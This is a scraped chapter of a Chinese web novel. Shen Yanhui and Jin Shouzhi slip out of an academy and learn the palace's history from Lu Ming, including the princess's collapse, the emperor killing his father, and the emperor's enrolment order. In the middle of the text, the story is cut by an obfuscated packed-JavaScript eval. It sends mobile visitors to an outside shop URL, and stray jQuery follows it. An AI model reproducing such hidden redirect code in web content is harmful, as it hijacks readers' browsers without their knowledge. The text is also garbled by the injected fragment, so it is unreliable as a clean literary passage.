沈雁回三人的动作很快,不到片刻就找到了墙边成功跑了出去,与上一次找衿艏凪时大意的一摔不同,这一次的沈雁回格外的小心,生怕又给自己摔疼了。

    陆鸣在墙外下方,与衿艏凪一同守着沈雁回下来时却是没忍住,他慢步走上前有些稀奇:“不会爬墙的我是见了不少,但会爬墙却不会下来的......你是头一个。”

    扒着墙的沈雁回抽抽嘴角,视线往下看了会确认高度后松手一跃,终是如愿安稳落地。

    接着她从衿艏凪的手上接过事先交给他的那副折扇,转手哐地一声,手中的扇子轻敲上了陆鸣的肩膀。

    “别打岔,还没问你呢,你特地跑来说要跟着我们出去是为了做什么?”为防止此人是来帮人监视她好通风报信,沈雁回试探问道。

    陆鸣却是眼珠一转,不老实地看向了别处:“出来前你可没说要问这个。”

    衿艏凪靠在不远处的树干上,双手交叉环胸,语气淡淡:“也没说出来后不问。”

    陆鸣:“......”

    见自己实在是说不过眼前的少年,陆鸣转身背对着衿艏凪心想眼不见为净,继续嘴硬道:“你们没提前说明自然是不能问的,总之只能说我要做的事与你们无关就是了。”

    沈雁回听罢若有所思,转了话题:“前面你说逃课的见了不少,其实今日我也碰巧见了几个......”

    她能答应陆鸣跟着一起出来,完全就是为了方便后面的套话,毕竟根据前面陆鸣老成的表现来看,他似乎对这里发生的事情很是了解。

    而陆鸣几乎是听个开头就知道沈雁回要问什么了,无非是明明是国子学,为何会有这么多的同窗逃课就是了。

    “当今皇帝,知道吗?”陆鸣突兀地问。

    沈雁回点头:“自然知道。”她不仅知道,还与这人有着难以说明的缘分呢。

    “三公主,也就是皇帝的龙凤胎姐姐,知道吗?”陆鸣继续问。

    沈雁回继续点头:“自然。”这个就更加清楚了,她魂穿进来的原主的身份,可不就是这个三公主吗?

    “那就好说了。”话落陆鸣刻意压下了声音,“或许你应该知道,传闻十年前,这位三公主在一日忽的失去了意识,晕倒在了宫殿里面。”

    沈雁回下意识看向了靠在树干上闭眼装睡的小金,但也只是看了一眼便收回了视线。

    “为何会晕倒?可有什么缘由?”沈雁回问。

    陆鸣嗤笑一声接着道:“哪有什么缘由?自然是皇帝造孽子来受,偏偏好巧不巧让这三公主承受去了。”

    沈雁回察觉到了对方语气上的怪异,继续问:“听你的说法,你不喜欢三公主?”

    陆鸣静声片刻,撇过脸,缓缓道:“只是替她不甘罢了。”

    “不甘?”

    他不再说话,只是转头随手接下了刚刚从树上飘下的落叶,此时的落叶还未干枯,并不是轻轻一按就能四分五裂的样子:“......先皇做的孽凭什么要让她去还?”

    沈雁回听到这里通过陆鸣的语气总算是猜到,那句皇帝造孽子来受的话并非陆鸣所创,而是他从别处听来故意说与她听,试图从她这来看看她对这件事的态度罢了。

    她还没去给这陆鸣挖坑呢,哪知他早已准备好坑洞等着她来跳了。

    看来她倘若不给这人交一个满意的答复,怕是不会再与她说明她想知道的事情了。

    “所以当今陛下弑父上位,也是为了他的皇姐吗?”沈雁回并没有老老实实按照陆鸣的节奏走,她偏偏就是不如他所愿,反而是又另外开了一个话题。

    毕竟她连原主的性格什么的都不知道,原主也没做出什么罪大恶极的事情,在什么都没有且不知道前怎么能够轻易就胡乱评判。

    “......”陆鸣盯着沈雁回的表情沉默了许久,“一半多一点吧,据说那年自三公主倒下后,还是皇子的皇帝痛恨先皇对三公主晕倒一事的不予理睬,痛恨先皇在面对江山不稳时依旧整日喝酒享乐,于是一人一剑,在第三日的晚上独自闯入先皇宫殿,一剑将先皇与床刺了个对穿。”

    沈雁回:“......”

    她现在转身带着小金就走,离原主皇弟远远地还来得及吗?

    “然后呢?”虽说她已经预测出了之后的发展,但沈雁回还是忍不住问道。

    “然后?自然是新皇弑父上位,百官罢官抵制。哪成想这新皇是个疯的,轻飘飘一句帽子放下就可以滚了,就将那群老顽童彻底定在原地了。”

    沈雁回细细寻思着这句话,总是觉得不对劲:“那群大臣有这么好吓住的吗?一个都没走吗?”

    “怎么可能,只不过先皇只留下了四子,大皇子在三公主晕倒后的第二天就失踪了,没人知道他去了哪里,二公主是个女,那群大臣怎么可能会让公主上位统治?”陆鸣反问。

    “选来选去,也只剩下四皇子一个人了。”

    沈雁回在听完陆鸣的描述后,脑中总是忍不皇弟弑杀先皇的住想象那副场景,住了口,没办法的她猛地闭眼摇了摇头,想着将这些场景通通摇出去。

    可陆鸣抬头看过天后心思就不在于沈雁回讲解上了,他轻轻歪头看着沈雁回的动作。

    他的小动作和心思沈雁回怎会看不出来?但她会装。于是沈雁回装做不知,走去拉住一旁还是在靠树装睡的小金,抬脚欲走前也不忘回头对着陆鸣微微一笑:“或许我们应该同路,对吗?”

    陆鸣对此一时无言,不过看着沈雁回要走的方向时,惊讶地发现二人确实同路,便也还是追了上去。

    “所以我最先的那个疑问......”沈雁回提醒道。

    “别急呀,记得的。”陆鸣边走边撑着懒腰,“在这十年的期间,也不是没传出公主醒来的信息,只不过没这次真就是了。”

    “什么叫做没这次真?”沈雁回半带着奇怪问道。

    其实

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778640|207690||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在问出这句话前,沈雁回还算是能够将前几天她与衿艏凪所讨论的外来者连接进来的,可这句更真什么的倒是让她感到奇怪了。

    听罢,陆鸣带着怀疑的眼神审视着沈雁回,有些诧异这人究竟是多少年没出门了。

    “自然是皇帝的做法咯。”陆鸣在人数稀少的小巷路口前停住了脚步,“这一次三公主醒来的信息散播出来后,可是比几年前多了一个送三公主来国子学的做法呢......也不知这皇帝究竟在想什么。”

    沈雁回诧然:“为什么这么说?”

    陆鸣对沈雁回一问三不知的架势有些迷茫:“公主今年应是23。”

    沈雁回:“......”

    好生过分的做法。也不知这皇帝究竟在想什么。

    “并且自从九年前大皇子失踪后,国子学就没再开门收生了。所以在公主醒来的消息一起传出的,还有皇帝命令大臣和富商要安排家中年岁低于19的少男少女进入国子学。”

    话落,陆鸣一脸痛苦:“很不巧,他们连19的也要,所以我来了。”

    在一旁许久不说话的衿艏凪终于是开了口,但语气对此倒是反应淡淡:“看样子,可信度似乎并不高。”

    沈雁回赞同地点头。

    陆鸣:“......”

    人多势众,他忍。

    “年龄超过16,年长的人选里只要在家中无所事事的。很不巧,我也占了。”陆鸣垂下头补充道。

    听到这里沈雁回了然,那些人本就过了就学的年纪,本仗着家中势力在家中躺平呢,谁知让她这个外来魂穿进了原主体内,因为她一心想要逃跑,误打误撞也不知是惹怒了皇帝还是怎的,让皇帝突然下发了这种命令,所以他们那些学子自是接受不了的。

    罪魁祸首沈雁回不再开口问了,她淡淡一笑伸手指了指旁边有些暗的路口:“你要去这里吗?看你在这里停好久了。”

    沈雁回早就注意到了,陆鸣在与她讲论前尘往事的时候,眼神就频繁地往里看去,像是在找什么人一样。

    闻言,陆鸣嗯了声,或许是真的在忙着什么事情,二人互相道别后他转身走的格外潇洒,一瞬间竟是打消了沈雁回对他的怀疑。

    目送陆鸣离开的沈雁回立即戳了戳身边小金的手臂,虽说让小金跟她一起走的想法已经在她的脑内思考很久了,沈雁回总会时不时地在脑内构思自己怎么开口与小金的回答,但经历完这些事情的她一时之间倒是不知该如何开口了。

    沈雁回原地踌躇了许久,最终还是心一横试探道:“你要跟我一起走吗?”

    此时的沈雁回不知为什么,心里总是有一个巨大的,似乎并不符合常理的猜测。

    哪知衿艏凪正在等她的这句话呢,几乎就在她的话刚落地时,衿艏凪就点下了头应声:“好。”

    沈雁回:“......”

    这人这么好骗的吗?她还没说要跟着她一起去哪呢!